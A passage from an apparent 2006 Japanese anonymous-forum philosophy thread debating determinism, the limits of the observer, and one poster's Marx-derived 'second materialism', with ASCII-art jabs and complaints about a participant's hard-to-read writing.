-‐‐''‐- 、  i      /"""''ー''´ `丶-'     ヽ      i、,、‐'´ `  ,>‐-、、,,
`ヽ、   `ヾ.    /                 ヽ     /    /   ,r
  ヽ       /                   ヽ  

81 :考える名無しさん:2006/11/13(月) 04:39:25
>>16
自我も論ぜられないのにただの主観性ですか?
貴方は、私だけであって、主観から客観性
にたどり着くにはどうすればよろしいのでしょうか?
自我と私、私と意識との関係が全く解かれていません
自分の論をはっきり出したらどうですか?
哲学的な議論になりませんし、まともに考えている人が抜けるのは当たり前です


82 :考える名無しさん:2006/11/13(月) 05:02:49
>>16
哲学における主観と、物理学における観測者は、まるっきり非なるものでは?

>>81
あなたのいうこともわかるけど、
自我なんてのはべつにここであえて論ずるまでもないでしょう。
自我の定義については、精神分析学なり心理学なりにおいていまだ諸説あり、
解釈は多岐にわたるし、問題が大きすぎてスレ違いの感は否めない。
また正直、自我と意識との関係を分離して考えるあなたの論調には賛同できない。
おれは「自我=意識」という認識なんだけど?



83 :考える名無しさん:2006/11/13(月) 08:55:04
なるほど広島方面か

84 :考える名無しさん:2006/11/13(月) 08:55:20
>>77
『観測者の限界』の前にひれ伏すならば、
我々はもはや何も語ることはできない。

宗教的であることが悪なのか?信じ依拠することは悪いことなのか?
現時点に於いて、「諸物は実在し関係する」ということがもっともらしく思え、
唯物論的手法が諸学に於いても、また、世界を解釈する上でも高い有効性を持つものであるなら、
(たとえ風船の外側が、想定されているに過ぎないものだとしても)それを杖にしてゆくほかないんじゃないか?
妥当な(ほぼ無矛盾な)想像・想定・類推・解釈・見做しであれば、信じ依拠してもかまわないのではないか?
我々は、『観測者の限界』の前に這いつくばるのでなく、(想像力を剣とし、冷静な推論を盾として)
胸を張ってその前に対峙すべきではなかろうか・・・。

それとも、そうした手法に代わり、諸学の基礎となり、世界の記述に対して力を発揮する視点が用意できるだろうか・・・。
その時は、意地を張らずにそちらへシフトすればよい。
(勿論、伝統宗教は、そうした意味での世界観の提出をしてきたものであろう。)

唯物論(的思考)が宗教であったとして、何か困ることがあるだろうか・・・。

85 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 08:57:53
>>75−77 唯物論とはなんであるかというのが全然、まちがってるよ
意味の無い間違った唯物論(いわゆる俗流)が,意味がないなどとは百年前から知ってる人は知ってるのさ

おおきな意味のあるほんとうの唯物論だけがわけのわかった人のあいだで話題になる
君のはそっちの方で全然無い

86 :考える名無しさん:2006/11/13(月) 09:00:00
なるほどオーストラリアの匿名串か

87 :考える名無しさん:2006/11/13(月) 09:02:38
ほうこの串log公開らしいなw
そこまで気付かなかっただろ
ど素人がw
さて、問い合わせるか

88 :考える名無しさん:2006/11/13(月) 09:09:14
>>85

最高位とやらが理解しないでとくとくと喋っているけど、放置したほうが面白いからなあ。w

89 :61:2006/11/13(月) 09:42:36
>>75
同感する点も多々ありますが、少し疑問も…。時間がないので、また後ほど
質問します。
それから、>>82 もあなたですか。哲学における主観(私)と科学の観測者は
つきつめると、どちらもクオリアを起点とせざるをえない点で同じでは?
ただ、科学は二律背反をすり抜けるスベを知っていますが。

90 :考える名無しさん:2006/11/13(月) 10:17:12
>>84
唯物論が宗教であっても困りはしないが、ただ宗教なるものが一定の共同性を
持つ“思い込み”にすぎぬことも周知。そうだとすれば、それを解体してそこ
を突き抜けようとするのは、思惟する動物のサガというもの。
唯物論が正しいと信じておられるのなら、哲学は無意味。ただ信心あるのみ。

91 :考える名無しさん:2006/11/13(月) 10:42:53
>>35
>世界を決定論的に観測するとき観測者は世界の外にいないといけないよな?
>しかし、そのとき観測者も世界に内在しているわけだから、これはそもそも
>不可能であるはず

反論でなく質問なのですが、「決定論的に観測する」とは、どういう意味ですか。
そのためには観測者が世界の外にいないといけない、という理由もよくわかりません。
決定論的でなく観測するなら、観測者は世界に内在していてもいいのでしょうか。
そもそも「世界」とは何を指すのかも、よくわかりません。


92 :考える名無しさん:2006/11/13(月) 10:58:25
>>90
そうだなw
私の中に哲学はない。あるとしたら哲学的視線であろう。
また、唯物論もないであろう。あるとしたら唯物論的視線であろう。

人は一人で生きるのではない。
自分の服を、「これどう?」と別の視点からの評価を求めることは可能だ。
この評価(→別の視点或いは別の観測結果)を複数集めることにより精度をあげてゆく。
『客観』というものの持つ性質の一つは、こういうことではなかろうか。
>“思い込み”にすぎぬことも周知。
複数或いは大多数が、同様の思い込みをしている時、
或いは、そのことに頷けるとき、そこには、そのような頷きを導出する何かがあるであろう。
日常を送る際、それに気付く必要はない、知る必要はない。
もしそれを浮き彫りにしたいと望むなら、解体する必要があろう。
しかしながら、解体をするということはその対象を否定することではないし、
解体されたから解体できたからといって、即座にその対象が存在しないということにはならない。
信じ保持しつつも、解体作業をすることは可能ではなかろうか。
その結果は、説明書が一枚増えることであり、辞書からその項目を削除することではないと思われる。

93 :哲学者最高位 ◆zH5vyVK1vo :2006/11/13(月) 11:44:09
>>85
>>88
では
キミ達の言う
唯物論とは、いったい何なの?

94 :考える名無しさん:2006/11/13(月) 11:44:17
>>92
>しかしながら、解体をするということはその対象を否定することではないし
これは少し言い切り過ぎか・・

しかしながら、解体をするということは、即座にその対象を否定することではなく、
依って立つ足場をどこに組むか、どう組むか、によって、
否定される(→解体した状態で保持される)場合がでてくるのだろう。

95 :考える名無しさん:2006/11/13(月) 11:50:14
AA削除されたね。

96 :考える名無しさん:2006/11/13(月) 12:07:17

Uncensored 過去ログ
ttp://makimo.to/cgi-bin/search/search.cgi?q=%94%5D%82%CD%95%A8%8E%BF%82%BE%82%A9%82%E7&sf=2&andor=AND&H=&view=table&all=on


97 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 15:26:50
>>93 だからおれの唯物論の第2の「物」は物質でなくて物資だといってるのさ

98 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 15:28:25
>>90 でいってる唯物論はなにはどうであるという論なのかね
第2唯物論は科学、心理学にちょっと近いが

99 :考える名無しさん:2006/11/13(月) 15:28:45
>>1
物質の定義はなんだ?

100 :考える名無しさん:2006/11/13(月) 15:30:23
ってか、>>1を見て同じ批判して機械から同じ無意味な妄言レスを
受け取っての繰り返しだな。過去ログ読めば、>>1のレス自体には
大した重要性がないってことが分かるんだがw

101 :考える名無しさん:2006/11/13(月) 15:30:34
>>97
物資とは何?
素朴な答えでなく、キチンと説明してくれ
人の生きるために必要なモノって意味なら、
社会学の欲望論と大差無いだろ

102 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 15:32:43
第一唯物論で全ての現象は物理現象であるというとき
この命題はだからなにはどうであるということなのかということなんだよね

 つまり私とは何かとかさ,おっとこれは主文は第2唯物論にはいるのか

103 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 15:34:10
たとえばの2 神はいないということはなく人間の観念の一部の総和だよね

104 :考える名無しさん:2006/11/13(月) 15:35:35
第2唯物論の本を教えてください

105 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 15:36:39
>>101 そういう意味だが人間全体に関わるような集団心理学に近いところがあって唯物論が意味あるのさ
ある意味哲学は心理学だろう??だって物は物であってあるようにあるだけだから

106 :考える名無しさん:2006/11/13(月) 15:38:56
>>105
じゃあ、別に第一とか第二とか唯物論必要無いじゃない
社会心理学とでもしておけば?
唯物論を敢えて標榜する意味が分からん
きみの思想的な問題なのか?

107 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 15:38:56
>>104 おれが知ってるちょっとだけのってる本は絶版です、しかもある犯罪のために著者を教えられない
中国ロシアにはあると思われるが翻訳されてないようです.でも全ての本を調べたわけではない


108 :救いを求める者 ◆7UpSOEZchg :2006/11/13(月) 15:42:15
おそらく、このスレで最も重要な唯物論は、感覚の背後には実体があり、
その実体は相互に、必然的諸関係かあるいは偶然的諸関係を有しているという
仮説であろう。前者は一意的決定論であり、後者は確率的決定論で
ある(但し、後者を確率的非決定論と呼んでもよい)。ちなみに、ランダムな
非決定論が成立するかどうか(すなわち、「AとBとの関係はランダムである」
という仮説が成立するかどうか)は、私は知らない。

109 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 15:45:42
>>106 本は知る限るではないが歴史的に唯物論といわれてますよ
100年もね,最高位なんかも20世紀始めの本ににたような論者がいっぱいでてる

 ところで君は第2唯物論の内容はしってるの、しってていってるのそれとも

110 :考える名無しさん:2006/11/13(月) 15:49:31
本がないんだったら、どうして「歴史的に唯物論といわれている」とわかるんだ?

111 :考える名無しさん:2006/11/13(月) 15:50:55
唯物論的思考とは、一言で言うと
観念的表象が与えられた場合、それを物と物の関係性に還元すること。
観念論的な信仰表明とは次元が違う考え方だ。
たとえば、宗教的思考においては「信仰」概念はアプリオリに疑い得ないとするが、
唯物論的思考は、その「信仰」概念そのものを物と物の関係性として分析する。
ゆえに、唯物論が信仰の対象であるとする説は間違い。


112 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 15:52:47
>>110  たとえばロシアでは長年研究されてるというニュースはあった、無論本もあるだろうさ、翻訳はなさそう
あと中国ではその論理を使った本は出されてて有名,一部誤りが多くて絶版

113 :考える名無しさん:2006/11/13(月) 15:57:00
>>99
過去スレの1の初期にその質問あったけど。
・・・回答が無かった。

ここで言ってる物質は「古典力学において定義される物質」
と同義やろ?つまり、中学校くらいまでで習った「物質」
>>1は、 >量子論の「不確定性」は意識には何の関係もない
って言ってるし。・・・反論はしたくなるけど。

つーか、このスレ、後退してない?
一番最初の方が議論が進んでたような。
もっとね、テンプレを充実させたほうがいいように思うんだ。
あと、議論を飛躍させるのはいいけど、もっと遍充関係を明快に・・・
なんか、「このレス間違ってないか?」って疑問が常に離れねえ。

114 :考える名無しさん:2006/11/13(月) 15:59:04
>>109
知らないけれど、欲望論的社会心理学とでもしておいた方が
より正確にきみの意図が伝えられるんじゃないのか?
意志や主体といった問題は全て欲望で回答するんだろ?


115 :考える名無しさん:2006/11/13(月) 16:03:05
>たとえば、宗教的思考においては「信仰」概念はアプリオリに疑い得ないとするが、

ここが宗教の最も胡散臭い反吐が出るほど臭う所だよなぁ・・・

116 :113 ◆VpKHzOu04Y :2006/11/13(月) 16:59:31
ところで、このスレのテーマって何なの?
「第二唯物論」?

いや、新参者で悪いけどさ。

117 :考える名無しさん:2006/11/13(月) 17:05:00
       /     \
     /  / ̄⌒ ̄\
     /   / ⌒  ⌒ |   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    | /  (・)  (・) |   | てめーなんだよこの自作自演の糞スレは!!
  /⌒  (6     つ  |   | てめーは精神障害でもあんのか?
 (  |  / ___  |  < 何とか言えyo
  − \   \_/  /    \__________________
 //  ,,r'´⌒ヽ___/     ,ィ
   /    ヽ       ri/ 彡
  /   i    ト、   __,,,丿)/        ζ
 |    !     )`Y'''" ヽ,,/      / ̄ ̄ ̄ ̄\
  ! l   |   く,,   ,,,ィ'"      /.         \
  ヽヽ  ゝ    ! ̄!~〜、       /           |
  ヽ  / ̄""'''⌒ ̄"^'''''ー--、 :::|||||||||||||||||||||||||||||||||
   Y'´          /    """''''〜--、|||||||||||||||||) 
   (      丿  ,,;;''  ....::::::::::: ::::r''''"" ̄""ヽ   |  ← >>1
    ゝ   ー--、,,,,,___      ::: ::,,,,,ー`''''''⌒''ーイ  ./
    ヽ      \  ̄""'''"" ̄   \____/-、
     ヽ       ヽ  :::::::::::::::::::: /          `ヽ
      ヽ  丿   )       /    ノ   ゝ ヽ ,〉
       ゝ      !      /            ∀
        !     |      /   人     ヽ   ヽ
        |     ,;;}      !ー-、/  ヽ _,,,-

118 :考える名無しさん:2006/11/13(月) 17:22:07
ここは決定論スレ。
関係の無い第二唯物論は別にスレ立ててやれ。

119 :113 ◆VpKHzOu04Y :2006/11/13(月) 17:25:39
まあ、決定論に沿った形なら良いと思うけど、
もはや、第二唯物論を「布教」してるかのようだものなあ。


120 :考える名無しさん:2006/11/13(月) 17:42:50
>>115
ほんと、宗教はクソ臭い、いやウソ臭い。
奴らは、はじめは信仰を強制していないフリをしながら
ちゃっかり信仰概念そのものは認めさせようとする。
「信仰する行為」と「信仰の概念」を区別できない
消防、厨房連中は、コロっとダマされるって訳。
「信仰概念」に関する例は何でも良い。
一番わかりやすいのは「家族」や「国の歴史」といった物語(作り話)かな。
とにかく「信仰概念の普遍性」とやらを理解させれば、洗脳工作完了というわけだ。
あとは本人がその気になって「信仰行為」に及ぶまで見守ってればよい。
ほんと宗教ってクソ以下だ。


121 :113 ◆VpKHzOu04Y :2006/11/13(月) 17:58:07
>>1について
突っ込み所は多々思いつくけど・・・
主旨としては「自由意志(>>1の『特別』)の否定」だとして話を進めてみます

まず、意識は、外界からの刺激の影響を受けるとして、
外界からの刺激は量子力学の「不確定性」の影響を受けるから、
意識を因果的決定論だけで語るのはナンセンスなのではないだろうか?
これは、量子論の不確定性が意識に関係ない、という所への反論。

そして逆に、(未生の)意思が決定されているのなら、
外界の、不確定原理によって確定していないはずのものが確定している事になる
んじゃないかなー

・・・いや、わたしゃ、過去スレ読んでないから基本的なとこから話させて。

122 :考える名無しさん:2006/11/13(月) 18:09:47
なんか話の腰を折るようで悪いけど今更>>1に突っ込んで面白い?

123 :113 ◆VpKHzOu04Y :2006/11/13(月) 18:13:08
>>122
・・・えーと、もう1は否定されてるんですかね?

124 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 18:37:37
決定論は問題外、かなり馬鹿の妄想に過ぎない.いつか又説明汁>>114 インや、いくらか近いところがあるが違う
欲望というより生きるためにが多い

 ひとことで言うと下部構造が上部構造を規定してるというんだよ

(でも下部構造は生産関係であるというのは共産党限定の第3唯物論、下部構造はさまざまな生活実体一般)





125 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 18:38:28
  >>114 インや、いくらか近いところがあるが違う
欲望というより生きるためにが多い

 ひとことで言うと下部構造が上部構造を規定してるというんだよ

でも下部構造は生産関係であるというのは共産党限定の第3唯物論」



126 :考える名無しさん:2006/11/13(月) 18:41:22
>>124-125
なんで投稿する前に文章の見直しができないの?

127 :考える名無しさん:2006/11/13(月) 18:49:06
アゲアラシスマソ
アブナイノデニゲマス
サヨナラ


128 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 18:51:33
>>121 意識はかなり思ったよりはかなり決められてるんじゃないかという.問題設定は正しいが
物理化学的因果決定で決めれてるというところががおかしいんだよ

 第2唯物論すなわち唯物論では,意識は環境というか自分の外部に「生きるために」相当規定されるつまりきめられてるという
たとえばどうやっても毎日食料を取り入れるために休み以外はがんばらなくてはならない食わねば死ぬから

最近の事件で言えばアメリカはサダムフセインが凶悪だか多少の悪にすぎないか判断しようと思ってもアメリカの生活実体が石油漬けになってるために凶悪と感じざるを得ない」
生活の中の石油というものが善悪の判断を決めてしまう.そうして大量破壊兵器妄想が出た

 意識が外部の事物に規定されることを唯物論という,決定されてるというより思ったよりはるかに規定されてるということ

129 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 18:53:39
 つまり物質でなく物資だというんだよ

130 :考える名無しさん:2006/11/13(月) 18:57:57
>>128-129
だからなんで投稿する前にいったん文章を見直すことができないの?
そんなに急いでレスしなきゃいけない理由がいったいどこにあるわけ?

131 :考える名無しさん:2006/11/13(月) 19:01:09
>>130
まあ、待て。
実は結構練ってあるんじゃないか?

>決定されてるというより思ったよりはるかに規定されてるということ
ここは韻を踏んでるようにも見えるし、

>>128でまとめて書いた後、>>129で、
>つまり物質でなく物資だというんだよ
と一行で決めるとこなんかもしかしてらっぱー?

132 :考える名無しさん:2006/11/13(月) 19:01:48
>>128
いちおう中身にも突っ込んどくと、あんたの考えでは意識の内容がどう決まるかは議論できるけど
意識という現象そのものがどうやって生まれるのかについてはなにも言えない。
つまりスレ違い。

133 :考える名無しさん:2006/11/13(月) 19:03:21
>>131
どうでもいいところにばっかり神経使って、一番大事な「人に読める文章かどうか」を
確認するところにはまったく神経使ってないってことだな。

134 :考える名無しさん:2006/11/13(月) 19:05:28
>>130
彼に対して文章のことを云々してもムダ。なんらかの理由で第二は
ちゃんとした日本語文が書けないようだ。そこは攻めずに、内容を
汲み取って批判したほうがいい。余計なお世話と知りつつ、一言。

135 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 19:17:04
>>132 意識という現象がどうやって生まれるかという疑問から物理化学的があるいは因果がどうのこうのという方向に進むのが馬鹿唯物論なんだよ

前に3回書いたが又書けば,意識はつまり観念は,生きていこうという意図が事物に対峙するときに主に発生する
人類が、最初採取生活して、次に狩をしたくなって、第3に農業を始めた所以だ

 こういう風に考えるべきだ

ただ人間は群れたがる生き物でもあるから,他人(あるいは社会とか世界)というものに対しても大いに観念が生じ連帯を求める、ここを落とすとだめだね
愛の誕生 他人というものに対峙しても意識がおきる、人間は食う着る住むだけではないのは当然だ,よく食う着る住むだけと誤解する香具師がいる

第三に未来も思うが省略,ここまでつっこむと私とはなにか、実はかなり浮かんでくる

136 :113 ◆VpKHzOu04Y :2006/11/13(月) 19:19:23
>>128
心が外界を決める→唯心論
外界(物)が心を決める→唯物論
ってことでOK?

ちなみに、>>121は、>1への反論のための文章であって、
私自身はどちらかと言えば唯物論によってますよ。

ここで言った指摘は
>1は主張が唯物論的なのに、意識が必然(決定論)で説明できるなら
唯心論になっちゃいますよーって指摘です。

137 :考える名無しさん:2006/11/13(月) 19:24:21
>>135
>意識はつまり観念は,生きていこうという意図が事物に対峙するときに主に発生する
じゃあそれが「どうやって」発生するのか説明してみなよ。
あと勝手に意識と観念を同一視してるけど、観念は意識の内容であって意識そのものじゃない。
結局また同じことで、あんたの話は観念(=意識の内容)については語れるけど
意識という現象そのものについてはなにも語れない。

138 :考える名無しさん:2006/11/13(月) 19:25:58
問題なのは何を物質だとか意識だとか呼んでいるのかってことだな

139 :考える名無しさん:2006/11/13(月) 19:37:40
> 反論でなく質問なのですが、「決定論的に観測する」とは、どういう意味ですか。
そのためには観測者が世界の外にいないといけない、という理由もよくわかりません。
決定論的でなく観測するなら、観測者は世界に内在していてもいいのでしょうか。
そもそも「世界」とは何を指すのかも、よくわかりません。

たいした意味はないですけどね。単に決定論の立場に立って観測するってだけのこと。
あと、観測者は『理想的には』観測対象のモデルの外側にいなくてはならない。
これが原則です。まあ本質的にはそれができないから量子論なんかでは困ってるわけですがね。
つまり、相互に独立してないといけないのです。ところが、世界そのものをそのまま観測しようとすると、
我々もそもそも世界の一部であるためにおかしなことになってしまいます。
「世界」はそのままの語感で結構だと思います。我々も宇宙全体もすべて内包したいわば「限界」のことです。

140 :考える名無しさん:2006/11/13(月) 19:42:38

     / ̄\
     |/ ̄機械 ̄\
   (ヽノ// //V\\ |/)
  (((i )// (゜)  (゜)| |( i)))   今更>>1に突っ込んで面白い?
 /∠彡\|  ( _●_)||_ゝ \ 
( ___、    |∪|    ,__ )

141 :考える名無しさん:2006/11/13(月) 19:47:39
>>132
横レスごめんなさい。

第2唯物論に対する指摘としてはそれでいいと思うんだけど、
一般的には唯物論は、ある個体なり性質なりが物的なありかたをしていることが言えれば良いんであって、
別に「意識という現象そのものがどうやって生まれるのかについてはなにも言えな」くてもかまわないんじゃないかなあ?
というかそれは唯物論の仕事じゃないんじゃ?

142 :考える名無しさん:2006/11/13(月) 19:55:51
> 宗教的であることが悪なのか?信じ依拠することは悪いことなのか?

あなた、あまり頭がよろしくない(by筑波大の教授)

機械論的唯物論はそもそも宗教なり神様なり観念なり、
「信じるって事そのもの」に意味を認めていないようです。俺は別に論理がすべてって言ってるわけじゃないのよ。
機械論的唯物論という論の構築はそもそも『原理的に不可能』だと提示しているだけ。曲解しすぎ。

もう一度言いますが俺が語ったのは『機械論的唯物論は原理的に不可能』だということのみ。
それ以上はあなたの曲解です。私はそれ以外は何一つ語っておりませんとも。

>>85
> おおきな意味のあるほんとうの唯物論だけがわけのわかった人のあいだで話題になる

俺は『観念的なものをすべて否定する唯物論』のみを取り上げて、それが『原理的に不可能』
であると語っただけだが。さらに付け足すなら別に『唯物論は間違い』という結論も出してはいない。
ただナンセンスであるといっただけ。もっと論理的に文章を読み取ってくれ。批判の方向がずれてるよ。

まあ、ぶっちゃけ俺から見ればあんたの論はただ言葉を弄んでるだけ。超越論にも形而上学にも達してない。
論理学的にみれば推論が独善的、そこからの導出が強引過ぎ。以上って感じだけどな。
まあ、ニーチェもそのケがあったし、それはそれで哲学をする上でメリットになるかもしれん。がんばれ。

143 :考える名無しさん:2006/11/13(月) 20:09:21
>>142
たしかにおいらは、あまり頭よくない(爆
が、曲解というより脱線と言ってくれw 酔っ払い君

・・・あまり変わらんかw  ( ̄ー ̄)

144 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 20:23:55
>>142 >俺は『観念的なものをすべて否定する唯物論』のみを取り上げて、それが『原理的に不可能』
であると語っただけだが

 それは唯物論的にもまったく正しいとおもいますよ
本当の唯物論は観念的なものを全て否定したりしません,そんなばかげたことはしません

>>136へのレスになってしまいますが唯物論上も.こころが外界を決めることはあると否定しません

たとえばある科学者が温暖化防止をできる科学設備いっさいの発明に成功したとしますそれの実施はたいへんむずかしいとします、
ここでこの科学者は世界の皆が温暖化を必死で止める気になってくれなければこの設備はなんの意味もないと思う確率は非常に高いですよ
実際多数がまず温暖化防止をする気にならなければ世界はどんどん温暖化し人類はひどいことになるでしょう

あなたの意味で唯心論は唯物論と対立しません
日本の場合「唯」という漢字にだまされる人はものすごい多いです.タダモノだけが論と思ってしまう


145 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 20:25:24
訂正  こころが外界を決めることはあるとして、否定しません



146 :考える名無しさん:2006/11/13(月) 20:26:43
物質が何か説明しない唯物論は落書きと同じ!!!
物質が何か説明しない唯物論は落書きと同じ!!!
物質が何か説明しない唯物論は落書きと同じ!!!
物質が何か説明しない唯物論は落書きと同じ!!!
物質が何か説明しない唯物論は落書きと同じ!!!
物質が何か説明しない唯物論は落書きと同じ!!!

147 :考える名無しさん:2006/11/13(月) 20:28:22
第2唯物論は書き込む人が変わったようだが
あいかわらず文章がひどいのはなぜなんだろう。

148 :考える名無しさん:2006/11/13(月) 20:29:14
      _,,..:--─‐-=,,._
    ./;;,ィ''"´ ̄`゙゙ヾ;ミミミ;;、
   ./ミミ/゙       ゙:::゙iミミミ:l
   iミミ′:     :  ..::::_;ミミ;ミ;リ
    ヽ,! ゙ .,;;;..''  ''゙゙;;_ ゙:::ヾ;;;;;;/
.    } :'゙::“:゙:. l::'゙.”:゙;.::'':;;゙irく
.    | ヽ .,r ..:::、   ..::::;;;トl;|
    |..  :' ''ー;^''::ヽ. :':::::;;;i::ソ  <こんな話はもうたくさんです
.    l、 ←‐'‐→、! ..::::;;;l゙´
     ヽ.. `゙゙゙.,゙´ '":::';;;ハ、
    _,,/`i、 -:: -:::'::゙:::;;ツ'::::`;、_
_,...-‐''" | ゙;、 i":;;:::::;,/':::::::::;!::::`::-、.._
     .l゙  ゙ヽ:;,ン'":::::::::::::/::::::::: : -ー `
     l   .,/;l     ,r"
     .ヽ /r;:ヘ、 ,,/;''
      ゙ ''::'`'´ ヽィ::'

    毛 沢山 [moh takusan]
   (1893-1976 中華人民共和国)

149 :考える名無しさん:2006/11/13(月) 20:32:36
>>143]
> が、曲解というより脱線と言ってくれw 酔っ払い君

何がいいたいのかわからんが(まあ意図してるところは大体汲み取れるけど)
とりあえずあんたのは脱線ですらないよ。

『金使って補強ばっかしてても強くなれるわけじゃないよ』

って言ってるのに、

『俺はジャイアンツを愛しているが、それは悪いことなのか?どうなんだ!?』

って言われても俺は『別にいいんじゃない』としか答えようが無い。
『原理的に不可能』であると指摘したのに『信じるのは悪いことか?』って言われても
『勝手にすれば?』って感じ。それはあなたの自由ですからね。ただ、ちょっと思考が倒錯していると思いますが。

150 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 20:35:43
>>142 超越論の場合、唯物論ではなにがなにに超越したのかという論をはるとおもいますよ

答えはありますが今はまだ書きません,ニーチェはわかりやすい

 このスレで衣食住や連帯以外に人間の「私は」何か.それを超えたものがあるんではないかと 。いう議論が人気があります
ただそんなものはないとはいいません,今の時代というものがそういう議論をしたくなるいわば物資的背景があるんです、おいおい書きます
はしょっていうと物資的に今の時代はある意味行き詰まってるんです,人間はそれを超えようとします

 ニーチェの超越はちょっと違うとおもいますがね

151 :標本スレ:2006/11/13(月) 20:46:01




境界性パーソナリティ障害
妄想性パーソナリティ障害
自己愛性パーソナリティ障害
演技性パーソナリティ障害
回避性パーソナリティ障害
強迫性パーソナリティ障害
依存症パーソナリティ障害





152 :考える名無しさん:2006/11/13(月) 20:47:57
>>150
いや、ニーチェとあなたの論の進め方が似てるといっただけで、論そのものが似ているといったわけではない。
ていうか、あなたのはどちらかといえばマルクス主義における唯物史観の焼き直しでしょ?
さらに純粋な唯物論とも大分乖離しちゃってるし、どちらかというと構造主義の主張に近いことを言ってる。
まあ、構造主義の連中はもういいよ、ってぐらい理系な考え方をする点が違いますがね。

結局唯物論という外形はわかるのですが、その内面に置いてその辺の社会科学の理論と具体的にどのように
違うか教えてもらえますか?俺にはたいした違いが無いように思えてなりません。

153 :考える名無しさん:2006/11/13(月) 20:56:37
>>149
>>77における
>哲学というよりは宗教に近くなります。それでもいいならどうぞ論を進めてください、と。
という文章(勿論、第一義は「別にいいんじゃない」であろうw)、
或いは、
>>72の前半、及び観測者・「風船の外側」を語ること  に関して、
宗教的であること(→この場合、確実に知っていないのに想像で語ること、「思い込み」である可能性が残っていること)
は、議論に値しない・・・ というニュアンスが垣間見えたので脊髄反射したまで。

その意味では曲解であったろう。私のレスが不徹底であった。
倒錯もしているだろう。謝罪する。すまなかった。

154 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 21:24:42
>>152 僕のはいってみれば,ある意味その辺の社会科学ですよ
僕は「純粋な唯物論」というのがよくわからないんです
いつ頃でたどういう唯物論をそういうのですかね

 全ての事象は物理学的事象であるというのが唯物論だといわれると、そりゃそうだが、だからそれなら何がどうだと思うんですよ
でも純粋な唯物論ってまた別ですか??

 マルクスはずいぶん読みましたよ.僕のマルクス哲学的非エンゲルス非レーニン唯物論とでも,言えばいいと思う
歴史的にそうなってるはずです、下部構造が上部構造を規定してるというのはマルクスの発見でしょう.「発見」だと思う
ただしマルクスは後年生産関係が下部構造であるといいすぎました,下部構造の一部でしかないのにです,だから通常のマルクス主義はこの第3唯物論になってます
世界は違うでしょうが日本ではまだまだ多い

 なぜありきたりの社会科学でないと思ってるか.それは単にこの発見がおおきなものであると思うからです,歴史にゆだねます



155 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 21:28:42
>>152 いや唯物論はもっと神秘的で何か壮大な超越理論でないかと思いたがる人は多い
それは>>150に書いた理由でそうなってるとおもいます

最高位派も反最高位派も同じ穴にはまってる

156 :不肖 ◆VpKHzOu04Y :2006/11/13(月) 21:29:13
もうちょっと丁寧に叙述しようよ。

特に、第二唯物論さんは、言葉が多すぎるよ。
あなたが伝えたいことの半分以上は伝わってないよ、きっと。

もっと研ぎ澄ましてください。

157 :考える名無しさん:2006/11/13(月) 21:39:03
ガーナの人とは違うのかな?

158 :第2唯物論 ◆qBkUSoWgX. :2006/11/13(月) 21:41:30
>>156 言葉が多すぎますかなるほど

>>135 の 意識はつまり観念は,生きていこうという意図が事物に対峙するときに主に発生する

の一行はずいぶん削って短く書いたんですけどね,最初はだらだらと書いた

 でも掲示板ってこういう短い文は全然!!受け入れられないよ,誰も注目しない、ぜひご自分でお試しあれ

でもまだ文がだめかも、はい

 



159 :不肖 ◆VpKHzOu04Y :2006/11/13(月) 21:51:22
>>158
言語学的に

「主に、生きていこうという意図が事物に対峙するときに、意識、つまり観念は,発生する」

の方が理解に易い文章ですよ。
主文を副詞節で割るともう、訳わかんなくなります。

・・・読む方の事も考えてくだせえ。


「通常のマルクス主義はこの第3唯物論になってます」
第三っていうと、貴方のより進んでるのでしょうか?
第一、第二、第三唯物論の違いについて、端的に教えて!


160 :61:2006/11/13(月) 22:10:32
>>153
あなたは素人さん? もう酔ってるの? しっかりしてくださいよ。
あなたが突っ込んだのは、たぶん>>35>>36>>70>>75 でしょう。
彼も、これだけ長々とした書き込みをする以上はコテを張るのがマナー
だと思うのだが。ちなみに、酔っ払いは私です。

161 :61:2006/11/13(月) 22:24:00
>>159
第二の文章については云々するのは無意味。音痴に対して、
ちゃんと歌えというのは残酷だろう? 
といって、歌うなというわけにもいかないだろう?
文意を汲み取る責任は、読み手の側にある。第二がこのスレに
登場したとき歓迎した義理もあり、この種の第二擁護のレスを
数回もしてきた私の身にもなってよ。
第二の語っていることは、少なくとも私には面白い。

162 :考える名無しさん:2006/11/13(月) 22:28:20
>>161
IQ25には IQ25同士でないとわからない世界がある・・てことみたいねw

163 :35:2006/11/13(月) 22:35:16
>>160
んじゃ暫定的にコテ張っておきます。

>>154
>純粋な唯物論

この場合、おそらく機械論的唯物論を指すと考えてもらえれば問題ないです。

>全ての事象は物理学的事象であるというのが唯物論だといわれると、そりゃそうだが、だからそれなら何がどうだと思うんですよ

だから『意識も精神も観念もすべて化学反応、もしくはそれに副次的なものである』という唯物論の主張が生まれるわけです。
これが本来の唯物論であって、おそらくあなたの主張するものはマルクス主義的唯物史観であり、
あくまで社会構造を物質的に捕らえたものであり、社会科学の一つです。

要するに、あなたの論はそもそも『唯物』というキーワードこそ同じでありますが、
一般に表現される『唯物論』の定義にそぐわないということになります。
「純粋な唯物論」においては歴史も人間の精神もすべて否定される対象になります。
すべては物理法則にそって様々な事象が起こっているだけという考え方をするのです。

ここでより関わってくる分野は、量子力学や非線形科学(カオス理論や散逸構造、パターン形成や、フラクタルなど)
の方であって、社会科学はあんまり関わってこないです。

なので、あなたが語っているのはそもそも一般的な意味での唯物論では無いと思われますが。

